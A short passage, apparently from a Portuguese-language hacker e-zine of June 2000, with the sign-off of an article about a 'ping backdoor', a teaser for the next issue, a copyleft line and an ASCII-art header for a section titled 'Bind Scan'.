ping backdoor executa'-lo. Talvez issue que vem tem mais backd00r pro povo... "Em Deus nos acreditamos. Para os outros, exigimos um certificado X.25" Alguem assinante da BugTraq Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 09 - Bind Scan ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxx